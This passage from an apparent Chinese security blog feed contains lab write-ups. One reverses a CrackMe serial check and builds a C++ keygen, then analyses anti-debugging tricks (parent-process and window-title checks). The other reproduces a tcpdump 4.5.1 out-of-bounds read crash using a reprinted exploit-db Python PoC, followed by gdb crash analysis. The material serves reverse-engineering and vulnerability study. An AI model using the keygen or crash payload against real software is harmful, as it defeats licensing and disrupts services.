<h2 id= "编写注册机" > <a href= "#编写注册机" class= "headerlink" title= "编写注册机" > </a> 编写注册机</h2> <h3 id= "查找显示注册结果相关代码-1" > <a href= "#查找显示注册结果相关代码-1" class= "headerlink" title= "查找显示注册结果相关代码" > </a> 查找显示注册结果相关代码</h3> <p > 通过查找字符串“good boy”等, 我们可以找到显示注册结果的相关代码</p>
<h3 id= "查找注册码验证相关代码-1" > <a href= "#查找注册码验证相关代码-1" class= "headerlink" title= "查找注册码验证相关代码" > </a> 查找注册码验证相关代码</h3> <p > 因为检测密钥是否正确时会将结果返回到EAX寄存器中, 因此, 在检测密钥前必然会对EAX寄存器清空, 由此我们可以找到注册码验证的相关代码。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553858953/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B77.png" a l t > </p>
<h3 id= "根据注册码验证代码编写注册机" > <a href= "#根据注册码验证代码编写注册机" class= "headerlink" title= "根据注册码验证代码编写注册机" > </a> 根据注册码验证代码编写注册机</h3> <p > 分析上图算法, 按tab键转换为高级语言<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > for ( i = 0; i < v6; v12 = v10 )</span> <br > <span class= "line" > v10 = (v6 + v12) * lpStringa[i++];</span> <br > <span class= "line" > if ( (v12 ^ 0xA9F9FA) == atoi(v15) )</span> <br > <span class= "line" > MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 可以看出, 生成注册码主要在for循环中完成, 之后将生成的注册码与输入相比较, 判断是否正确。<br > 所以,只要能弄明白<code > v6, v12, v10, v15</code> 的含义,我们就可以轻松的编写注册机。<br > 打开ollybdg, 在进入循环之前设下断点, 动态调试程序<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 004010CC |> /8B4D 10 |mov ecx,[arg.3] //此时ecx为name</span> <br > <span class= "line" > 004010CF |. 8B55 0C |mov edx,[arg.2] //edx为0x1908</span> <br > <span class= "line" > 004010D2 |. 03D3 |add edx,ebx //edx加上name的长度( ebx) </span> <br > <span class= "line" > 004010D4 |. 0FBE0C08 |movsx ecx,byte ptr ds:[eax+ecx] //ecx=61h</span> <br > <span class= "line" > 004010D8 |. 0FAFCA |imul ecx,edx //61h(a) * edx</span> <br > <span class= "line" > 004010DB |. 40 |inc eax //eax加1( 初始为0) </span> <br > <span class= "line" > 004010DC |. 894D 0C |mov [arg.2],ecx</span> <br > <span class= "line" > 004010DF |. 3BC3 |cmp eax,ebx //循环是否结束</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <code > arg.3</code> 为输入的<code > name</code> , <code > arg.2</code> 初始为<code > 0x1908</code> , <code > ebx</code> 为<code > name</code> 的长度,<code > eax</code> 每次循环加1直到等于长度<br > 因此,我们可以对参数的含义进行解释如下<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > v12 = 6408; //0x1908</span> <br > <span class= "line" > v10 = 6408; //0x1908</span> <br > <span class= "line" > v6 = len(name);</span> <br > <span class= "line" > v12 = input_serial;</span> <br > <span class= "line" > for ( i = 0; i < v6; i++ ){ </span> <br > <span class= "line" > v12 = v10; </span> <br > <span class= "line" > v10 = (v6 + v12) * lpStringa[i];</span> <br > <span class= "line" > } </span> <br > <span class= "line" > if ((v12 ^ 0xA9F9FA) == atoi(v15)){ </span> <br > <span class= "line" > MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 可见,<code > v12^0xA9F9FA</code> 的结果即是正确的注册码,我们编写一个<a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553937750/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/reg.cpp" target= "_blank" rel= "noopener" > 简单的程序</a> 帮助我们生成注册码:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #include < iostream> </span> <br > <span class= "line" > #include< stdio.h> </span> <br > <span class= "line" > </span> <br > <span class= "line" > using namespace::std;</span> <br > <span class= "line" > int main(){ </span> <br > <span class= "line" > int v12;</span> <br > <span class= "line" > int v10 = 6408; //0x1908</span> <br > <span class= "line" > string name;</span> <br > <span class= "line" > cout < < " 请输入name: " ;</span> <br > <span class= "line" > cin > > name;</span> <br > <span class= "line" > int len = name.size();</span> <br > <span class= "line" > for(int i = 0; i < len+1; i++ ){ </span> <br > <span class= "line" > v12 = v10;</span> <br > <span class= "line" > v10 = (len + v12) * name[i];</span> <br > <span class= "line" > } </span> <br > <span class= "line" > cout< < " \n" < < " 注册码为: " < < (v12 ^ 0xA9F9FA)< < endl;</span> <br > <span class= "line" > return 0;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 计算出”testname”的对应注册码<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553937461/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B79.png" a l t > <br > 注册成功!</p>
<h2 id= "-1" > <a href= "#-1" class= "headerlink" t i t l e > </a> <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553937531/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B711.png" a l t > </h2> <h1 id= "实验二:软件反动态调试技术分析" > <a href= "#实验二:软件反动态调试技术分析" class= "headerlink" title= "实验二:软件反动态调试技术分析" > </a> 实验二:软件反动态调试技术分析</h1> <h2 id= "对象-1" > <a href= "#对象-1" class= "headerlink" title= "对象" > </a> 对象</h2> <p > <a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553779243/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/CrackMe1.exe1" target= "_blank" rel= "noopener" > CrackMe1.exe</a> 1641.0 KB<br > 无保护措施:无壳、未加密、无反调试措施<br > 使用OllyDbg对该程序进行调试时, 程序会自动退出</p>
<h2 id= "要求" > <a href= "#要求" class= "headerlink" title= "要求" > </a> 要求</h2> <ol >
<li > 分析CrackMe1.exe是如何通过父进程检测实现反OllyDbg调试的</li>
<li > 分析除父进程检测外,该程序用到的反动态调试技术</li>
</ol>
<h2 id= "父进程检测" > <a href= "#父进程检测" class= "headerlink" title= "父进程检测" > </a> 父进程检测</h2> <p > 一般双击运行的进程的父进程都是explorer.exe, 但是如果进程被调试父进程则是调试器进程。也就是说如果父进程不是explorer.exe则可以认为程序正在被调试。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > BOOL IsInDebugger(){ </span> <br > <span class= "line" > HANDLE hProcessSnap = NULL;</span> <br > <span class= "line" > char Expchar[] =" \\EXPLORER.EXE" ;</span> <br > <span class= "line" > char szBuffer[MAX_PATH]={ 0} ;</span> <br > <span class= "line" > char FileName[MAX_PATH]={ 0} ;</span> <br > <span class= "line" > PROCESSENTRY32 pe32 = { 0} ;</span> <br > <span class= "line" > </span> <br > <span class= "line" > hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //得到所有进程的列表快照</span> <br > <span class= "line" > if (hProcessSnap == INVALID_HANDLE_VALUE)</span> <br > <span class= "line" > return FALSE; </span> <br > <span class= "line" > </span> <br > <span class= "line" > pe32.dwSize = sizeof(PROCESSENTRY32);</span> <br > <span class= "line" > </span> <br > <span class= "line" > if (!Process32First(hProcessSnap, & pe32)) // 查找进程</span> <br > <span class= "line" > { </span> <br > <span class= "line" > CloseHandle (hProcessSnap);</span> <br > <span class= "line" > return FALSE;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > do // 遍历所有进程</span> <br > <span class= "line" > { </span> <br > <span class= "line" > if(pe32.th32ProcessID==GetCurrentProcessId() )//判断是否是自己的进程?</span> <br > <span class= "line" > { </span> <br > <span class= "line" > HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe32.th32ParentProcessID); //打开父进程</span> <br > <span class= "line" > if (hProcess)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > if (GetModuleFileNameEx(hProcess, NULL, FileName, MAX_PATH) ) // 得到父进程名</span> <br > <span class= "line" > { </span> <br > <span class= "line" > GetWindowsDirectory(szBuffer,MAX_PATH); //得到系统所在目录</span> <br > <span class= "line" > strcat(szBuffer,Expchar); //组合成类似的字串D:\Winnt\Explorer.EXE</span> <br > <span class= "line" > if(strcmpi (FileName,szBuffer)) // 比较当前是否为Explorer.EXE进程</span> <br > <span class= "line" > { </span> <br > <span class= "line" > return TRUE; // 父进程若不是Explorer.EXE, 则是调试器</span> <br > <span class= "line" > } </span> <br > <span class= "line" > else</span> <br > <span class= "line" > { </span> <br > <span class= "line" > return FALSE; // 无法获得进程名</span> <br > <span class= "line" > } </span> <br > <span class= "line" > CloseHandle (hProcess);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > else</span> <br > <span class= "line" > { </span> <br > <span class= "line" > return FALSE;//无权访问该进程</span> <br > <span class= "line" > } </span> <br > <span class= "line" > } </span> <br > <span class= "line" > } </span> <br > <span class= "line" > while (Process32Next(hProcessSnap, & pe32));</span> <br > <span class= "line" > CloseHandle (hProcessSnap);</span> <br > <span class= "line" > return FALSE;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<p > 由上述示例代码, 我们可以看到父进程检测中调用了GetCurrentProcessId函数来判断。<br > 因此在Ollydbg中首先找到GetCurrentProcessId模块( Ctrl+N) , 然后设置断点<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557128745/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/1.png" a l t > <br > 查看断点是否设置成功<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557128848/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/2.png" a l t > <br > 运行该程序,在断点00401932停下, 打开任务管理器, CrackMe1的pid为4020=0xFB4<br > 程序在调用完GetCurrentProcessId后, pid被放入EAX寄存器中, 值为0xFB4<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557129711/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/3.png" a l t > <br > 然后调用Openprocess函数, 其参数processId为0xFB4, 返回进程( CrackMe1) 的句柄<br > 通过ntdll.dll中的LoadLibraryA和GetProcAddress函数找到NtQueryInformationProcess:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > PNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (PNTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandleA(" ntdll" )," NtQueryInformationProcess" );</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557131510/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/4.png" a l t > <br > 用OpenProcess获得的句柄设置NtQueryInformationProcess的对应参数, 然后调用NtQueryInformationProcess, 从其返回值中可以获取到CrackMe1.exe的父进程PID=0xDB4=3508,在任务管理器中查看进程名确实是ollydbg<br > 然后再次调用openprocess获得父进程的句柄<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557132091/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/5.png" a l t > <br > 最后, 调用GetModuleFileNameExA通过OpenProcess返回的句柄获取父进程的文件名: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557133154/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/6.png" a l t > <br > 至此, 成功获取到父进程的文件名, 接下来将进行父进程文件名与“c:\windows\explore.exe”的字符串比较。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557133828/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/7.png" a l t > <br > EDX中保存explorer字符串, ESI中保存ollydbg字符串<br > 然后进入循环逐位比较, 比较流程是, 首先取esi中第一个字符到eax, 将EAX的值减去41然后存入exc中, 并与19比较大小, 判断是否大写, 若是则eax加上20转化为小写; 转化为小写之后, 对edx中的字符做同样操作, 然后test eax eax判断是否比较完毕, 若没有则逐个比较, 直到遇到不相等的字符。</p>
<h2 id= "其他检测" > <a href= "#其他检测" class= "headerlink" title= "其他检测" > </a> 其他检测</h2> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557227067/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/8.png" a l t > <br > 用EnumWindows枚举所有屏幕上的顶层窗口, 并将窗口句柄传送给应用程序定义的回调函数, 此处的回调函数调用了GetWindowTextA将指定窗口的标题栏( 如果有的话) 的文字拷贝到缓冲区内<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557227506/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/9.png" a l t > <br > 将得到的窗口标题与”ollydbg”等进行比较, 看是否为调试器。</p>
<hr >
<h1 id= "实验三:加花加密反调试技术分析" > <a href= "#实验三:加花加密反调试技术分析" class= "headerlink" title= "实验三:加花加密反调试技术分析" > </a> 实验三:加花加密反调试技术分析</h1> <h2 id= "对象-2" > <a href= "#对象-2" class= "headerlink" title= "对象" > </a> 对象</h2> <p > <a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553779413/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/CrackMe2.exe1" target= "_blank" rel= "noopener" > CrackMe2.exe</a> 9.00 KB<br > 保护措施:部分加花、部分加密、简单反调试<br > 根据<a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553779403/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/Crackme2%E6%8F%90%E7%A4%BA.docx" target= "_blank" rel= "noopener" > 提示</a> </p>
<h2 id= "内容" > <a href= "#内容" class= "headerlink" title= "内容" > </a> 内容</h2> <ol >
<li > 加壳脱壳深入理解</li>
<li > 尝试手动脱壳</li>
<li > 分析CrackMe2.exe中花指令</li>
<li > 分析CrackMe2.exe中的被加密的函数的功能</li>
<li > 分析CrackMe2.exe中的反调试手段</li>
<li > 分析CrackMe2.exe中混合的64位代码的功能</li>
</ol>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 二进制</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 逆向</tag>
<tag > 破解</tag>
</tags>
</entry>
<entry >
<title > TCPDUMP拒绝服务攻击漏洞</title>
<url > /2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</url>
<content > <![CDATA[<h2 id="Tcpdump介绍"> <a href= "#Tcpdump介绍" class= "headerlink" title= "Tcpdump介绍" > </a> Tcpdump介绍</h2> <ol >
<li > tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统: 包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中, tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump; 它需要WinPcap驱动, 相当于在Linux平台下的libpcap.</li>
<li > tcpdump能够分析网络行为, 性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤, 并提供and、or、not等逻辑语句来帮助你去掉无用的信息, 从而使用户能够进一步找出问题的根源。</li>
<li > 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量, 如Telnet或HTTP的数据包, 查看登录的用户名、密码、网址、正在浏览的网站内容, 或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁, 而是对网络上的其他计算机的安全存在威胁。</li>
</ol>
<h2 id= "分析环境" > <a href= "#分析环境" class= "headerlink" title= "分析环境" > </a> 分析环境</h2> <ul >
<li > Ubuntu 16.04.4 LTS i686</li>
<li > tcpdump 4.5.1</li>
<li > gdb with peda</li>
</ul>
<h2 id= "漏洞复现" > <a href= "#漏洞复现" class= "headerlink" title= "漏洞复现" > </a> 漏洞复现</h2> <p > 这个漏洞触发的原因是, tcpdump在处理特殊的pcap包的时候, 由于对数据包传输数据长度没有进行严格的控制, 导致在连续读取数据包中内容超过一定长度后, 会读取到无效的内存空间, 从而导致拒绝服务的发生。对于这个漏洞, 首先要对pcap包的结构进行一定的分析, 才能够最后分析出漏洞的成因, 下面对这个漏洞进行复现。</p>
<h3 id= "编译安装tcpdump" > <a href= "#编译安装tcpdump" class= "headerlink" title= "编译安装tcpdump" > </a> 编译安装tcpdump</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. # apt-get install libpcap-dev</span> <br > <span class= "line" > 2. # dpkg -l libpcap-dev</span> <br > <span class= "line" > 3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span> <br > <span class= "line" > 4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span> <br > <span class= "line" > 5. # cd tcpdump-4.5.1/</span> <br > <span class= "line" > 6. # ./configure</span> <br > <span class= "line" > 7. # make</span> <br > <span class= "line" > 8. # make install</span> <br > <span class= "line" > 9. # tcpdump – -version</span> <br > <span class= "line" > tcpdump version 4.5.1</span> <br > <span class= "line" > libpcap version 1.7.4</span> <br > </pre> </td> </tr> </table> </figure>
<h3 id= "生成payload( 来自exploit-db-payload) " > <a href= "#生成payload( 来自exploit-db-payload) " class= "headerlink" title= "生成payload( 来自exploit-db payload) " > </a> 生成payload( 来自exploit-db payload) </h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > # Exploit Title: tcpdump 4.5.1 Access Violation Crash</span> <br > <span class= "line" > # Date: 31st May 2016</span> <br > <span class= "line" > # Exploit Author: David Silveiro</span> <br > <span class= "line" > # Vendor Homepage: http://www.tcpdump.org</span> <br > <span class= "line" > # Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz</span> <br > <span class= "line" > # Version: 4.5.1</span> <br > <span class= "line" > # Tested on: Ubuntu 14 LTS</span> <br > <span class= "line" > from subprocess import call</span> <br > <span class= "line" > from shlex import split</span> <br > <span class= "line" > from time import sleep</span> <br > <span class= "line" > </span> <br > <span class= "line" > def crash():</span> <br > <span class= "line" > command = ' tcpdump -r crash' </span> <br > <span class= "line" > buffer = ' \xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' </span> <br > <span class= "line" > buffer += ' \x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' </span> <br > <span class= "line" > buffer += ' \x00\x00\x00\x00\x00\x08\x00\x00\x00\x00< \x9c7@\xff\x00' </span> <br > <span class= "line" > buffer += ' \x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' </span> <br > <span class= "line" > buffer += " \x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0& \x80\x18\' " </span> <br > <span class= "line" > buffer += " xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n' , ' \x00\x00\x00\x00" </span> <br > <span class= "line" > buffer += ' \x00\x00\x00\x00\x01\x03\x03\x04' </span> <br > <span class= "line" > with open(' crash' , ' w+b' ) as file:</span> <br > <span class= "line" > file.write(buffer)</span> <br > <span class= "line" > try:</span> <br > <span class= "line" > call(split(command))</span> <br > <span class= "line" > print(" Exploit successful! " )</span> <br > <span class= "line" > except:</span> <br > <span class= "line" > print(" Error: Something has gone wrong!" )</span> <br > <span class= "line" > def main():</span> <br > <span class= "line" > print(" Author: David Silveiro " )</span> <br > <span class= "line" > print(" tcpdump version 4.5.1 Access Violation Crash " )</span> <br > <span class= "line" > sleep(2)</span> <br > <span class= "line" > crash()</span> <br > <span class= "line" > if __name__ == " __main__" :</span> <br > <span class= "line" > main()</span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "崩溃分析" > <a href= "#崩溃分析" class= "headerlink" title= "崩溃分析" > </a> 崩溃分析</h2> <h3 id= "pcap包格式" > <a href= "#pcap包格式" class= "headerlink" title= "pcap包格式" > </a> pcap包格式</h3> <p > 首先来分析一下pcap包的格式, 首先是pcap文件头的内容, 在.h有所定义, 这里将结构体以及对应变量含义都列出来。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > struct pcap_file_header { </span> <br > <span class= "line" > bpf_u_int32 magic;</span> <br > <span class= "line" > u_short version_major;</span> <br > <span class= "line" > u_short version_minor;</span> <br > <span class= "line" > bpf_int32 thiszone; /* gmt to local correction */</span> <br > <span class= "line" > bpf_u_int32 sigfigs; /* accuracy of timestamps */</span> <br > <span class= "line" > bpf_u_int32 snaplen; /* max length saved portion of each pkt */</span> <br > <span class= "line" > bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */</span> <br > <span class= "line" > } ;</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 看一下各字段的含义:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > magic: 4字节 pcap文件标识 目前为“d4 c3 b2 a1”</span> <br > <span class= "line" > major: 2字节 主版本号 #define PCAP_VERSION_MAJOR 2</span> <br > <span class= "line" > minor: 2字节 次版本号 #define PCAP_VERSION_MINOR 4</span> <br > <span class= "line" > thiszone: 4字节 时区修正 并未使用, 目前全为0</span> <br > <span class= "line" > sigfigs: 4字节 精确时间戳 并未使用, 目前全为0</span> <br > <span class= "line" > snaplen: 4字节 抓包最大长度 如果要抓全, 设为0x0000ffff( 65535) , </span> <br > <span class= "line" > tcpdump -s 0就是设置这个参数, 缺省为68字节</span> <br > <span class= "line" > linktype: 4字节 链路类型 一般都是1: ethernet</span> <br > <span class= "line" > </span> <br > <span class= "line" > struct pcap_pkthdr { </span> <br > <span class= "line" > struct timeval ts; /* time stamp */</span> <br > <span class= "line" > bpf_u_int32 caplen; /* length of portion present */</span> <br > <span class= "line" > bpf_u_int32 len; /* length this packet (off wire) */</span> <br > <span class= "line" > } ;</span> <br > <span class= "line" > struct timeval { </span> <br > <span class= "line" > long tv_sec; /* seconds (XXX should be time_t) */</span> <br > <span class= "line" > suseconds_t tv_usec; /* and microseconds */</span> <br > <span class= "line" > } ;</span> <br > <span class= "line" > ts: 8字节 抓包时间 4字节表示秒数, 4字节表示微秒数</span> <br > <span class= "line" > caplen: 4字节 保存下来的包长度( 最多是snaplen, 比如68字节) </span> <br > <span class= "line" > len: 4字节 数据包的真实长度, 如果文件中保存的不是完整数据包, 可能比caplen大</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 其中len变量是值得关注的, 因为在crash文件中, 对应len变量的值为00 3C 9C 37<br > 这是一个很大的值, 读取出来就是379C3C00, 数非常大, 实际上在wireshark中打开这个crash文件, 就会报错, 会提示这个数据包的长度已经超过了范围, 而换算出来的长度就是379C3C00, 这是触发漏洞的关键。</p>
<h3 id= "gdb调试" > <a href= "#gdb调试" class= "headerlink" title= "gdb调试" > </a> gdb调试</h3> <p > 首先通过gdb运行tcpdump, 用-r参数打开poc生成的crash, tcp崩溃, 到达漏洞触发位置<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. Program received signal SIGSEGV, Segmentation fault.</span> <br > <span class= "line" > 2. [----------------------------------registers-----------------------------------]</span> <br > <span class= "line" > 3. EAX: 0x1</span> <br > <span class= "line" > 4. EBX: 0x81e33bd --> 0x0</span> <br > <span class= "line" > 5. ECX: 0x2e (' .' )</span> <br > <span class= "line" > 6. EDX: 0x0</span> <br > <span class= "line" > 7. ESI: 0xbfffe201 (' .' < repeats 14 times> )</span> <br > <span class= "line" > 8. EDI: 0xbfffe1db --> 0x30303000 (' ' )</span> <br > <span class= "line" > 9. EBP: 0x10621</span> <br > <span class= "line" > 10. ESP: 0xbfffe1ac --> 0x8053caa (< hex_and_ascii_print_with_offset+170> : mov ecx,DWORD PTR [esp+0xc])</span> <br > <span class= "line" > 11. EIP: 0x8053c6a (< hex_and_ascii_print_with_offset+106> : movzx edx,BYTE PTR [ebx+ebp*2+0x1])</span> <br > <span class= "line" > 12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)</span> <br > <span class= "line" > 13. [-------------------------------------code-------------------------------------]</span> <br > <span class= "line" > 14. 0x8053c5d < hex_and_ascii_print_with_offset+93> : je 0x8053d40 < hex_and_ascii_print_with_offset+320> </span> <br > <span class= "line" > 15. 0x8053c63 < hex_and_ascii_print_with_offset+99> : mov ebx,DWORD PTR [esp+0x18]</span> <br > <span class= "line" > 16. 0x8053c67 < hex_and_ascii_print_with_offset+103> : sub esp,0x4</span> <br > <span class= "line" > 17. => 0x8053c6a < hex_and_ascii_print_with_offset+106> : movzx edx,BYTE PTR [ebx+ebp*2+0x1]</span> <br > <span class= "line" > 18. 0x8053c6f < hex_and_ascii_print_with_offset+111> : movzx ecx,BYTE PTR [ebx+ebp*2]</span> <br > <span class= "line" > 19. 0x8053c73 < hex_and_ascii_print_with_offset+115> : push edx</span> <br > <span class= "line" > 20. 0x8053c74 < hex_and_ascii_print_with_offset+116> : mov ebx,edx</span> <br > <span class= "line" > 21. 0x8053c76 < hex_and_ascii_print_with_offset+118> : mov DWORD PTR [esp+0x18],edx</span> <br > <span class= "line" > 22. [------------------------------------stack-------------------------------------]</span> <br > <span class= "line" > 23. 0000| 0xbfffe1ac --> 0x8053caa (< hex_and_ascii_print_with_offset+170> : mov ecx,DWORD PTR [esp+0xc])</span> <br > <span class= "line" > 24. 0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c</span> <br > <span class= "line" > 25. 0008| 0xbfffe1b4 --> 0x1</span> <br > <span class= "line" > 26. 0012| 0xbfffe1b8 --> 0x2f5967 (' gY/' )</span> <br > <span class= "line" > 27. 0016| 0xbfffe1bc --> 0x0</span> <br > <span class= "line" > 28. 0020| 0xbfffe1c0 --> 0x0</span> <br > <span class= "line" > 29. 0024| 0xbfffe1c4 --> 0x7ffffff9</span> <br > <span class= "line" > 30. 0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0</span> <br > <span class= "line" > 31. [------------------------------------------------------------------------------]</span> <br > <span class= "line" > 32. Legend: code, data, rodata, value</span> <br > <span class= "line" > 33. Stopped reason: SIGSEGV</span> <br > <span class= "line" > 34. hex_and_ascii_print_with_offset (ident=0x80c04af " \n\t" , cp=0x8204000 < error: Cannot access memory at address 0x8204000> ,</span> <br > <span class= "line" > 35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span> <br > <span class= "line" > 36. 91 s2 = *cp++;</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 从崩溃信息来看, 出错位置为s2 = <em > cp++;崩溃原因为SIGSEGV, 即进程执行了一段无效的内存引用或发生段错误。可以看到, 问题出现在./print-ascii.c:91, 而且此时指针读取[ebx+ebp</em> 2+0x1]的内容,可能是越界读取造成的崩溃。<br > 再结合源码信息可知, 指针cp在自加的过程中访问到了一个没有权限访问的地址, 因为这是写在一个while循环里, 也就是是说nshorts的值偏大, 再看nshorts怎么来的, 由此nshorts = length / sizeof(u_short);可知, 可能是函数传入的参数length没有控制大小导致, 因此目标就是追踪length是如何传入的。<br > 我们通过bt回溯一下调用情况。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1. gdb-peda$ bt</span> <br > <span class= "line" > 2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af " \n\t" , cp=0x8204000 < error: Cannot access memory at address 0x8204000> ,</span> <br > <span class= "line" > 3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span> <br > <span class= "line" > 4. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af " \n\t" , cp=0x81e33bd " " , length=0xfffffff3) at ./print-ascii.c:127</span> <br > <span class= "line" > 5. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 < Gndo> , h=0xbfffe40c, p=< optimized out> ) at ./print-802_15_4.c:180</span> <br > <span class= "line" > 6. #3 0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001" , h=0xbfffe40c, sp=0x81e33a8 " @\377" )</span> <br > <span class= "line" > 7. at ./tcpdump.c:1950</span> <br > <span class= "line" > 8. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8</span> <br > <span class= "line" > 9. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8</span> <br > <span class= "line" > 10. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569</span> <br > <span class= "line" > 11. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 < main> , argc=0x3, argv=0xbffff6c4, init=0x80b1230 < __libc_csu_init> ,</span> <br > <span class= "line" > 12. fini=0x80b1290 < __libc_csu_fini> , rtld_fini=0xb7fea880 < _dl_fini> , stack_end=0xbffff6bc) at ../csu/libc-start.c:291</span> <br > <span class= "line" > 13. #8 0x0804c245 in _start ()</span> <br > </pre> </td> </tr> </table> </figure> </p>
